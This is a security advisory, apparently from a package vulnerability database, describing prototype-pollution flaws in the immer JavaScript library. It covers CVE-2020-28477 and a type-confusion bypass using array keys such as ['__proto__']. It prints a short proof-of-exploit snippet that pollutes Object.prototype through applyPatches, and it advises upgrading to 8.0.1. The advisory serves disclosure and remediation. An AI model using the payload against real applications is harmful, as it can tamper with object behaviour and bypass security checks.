Package Instance

Improperly Controlled Modification of Dynamically-Determined Object Attributes
immer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Access of Resource Using Incompatible Type (Type Confusion)
A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition `(p === "__proto__" || p === "constructor")` in `applyPatches_` returns false if `p` is `['__proto__']` (or `['constructor']`). The `===` operator (strict equality operator) returns false if the operands have different type.

Prototype Pollution in immer
## Overview

Affected versions of immer are vulnerable to Prototype Pollution.

## Proof of exploit

```js
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
```

## Remediation

Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.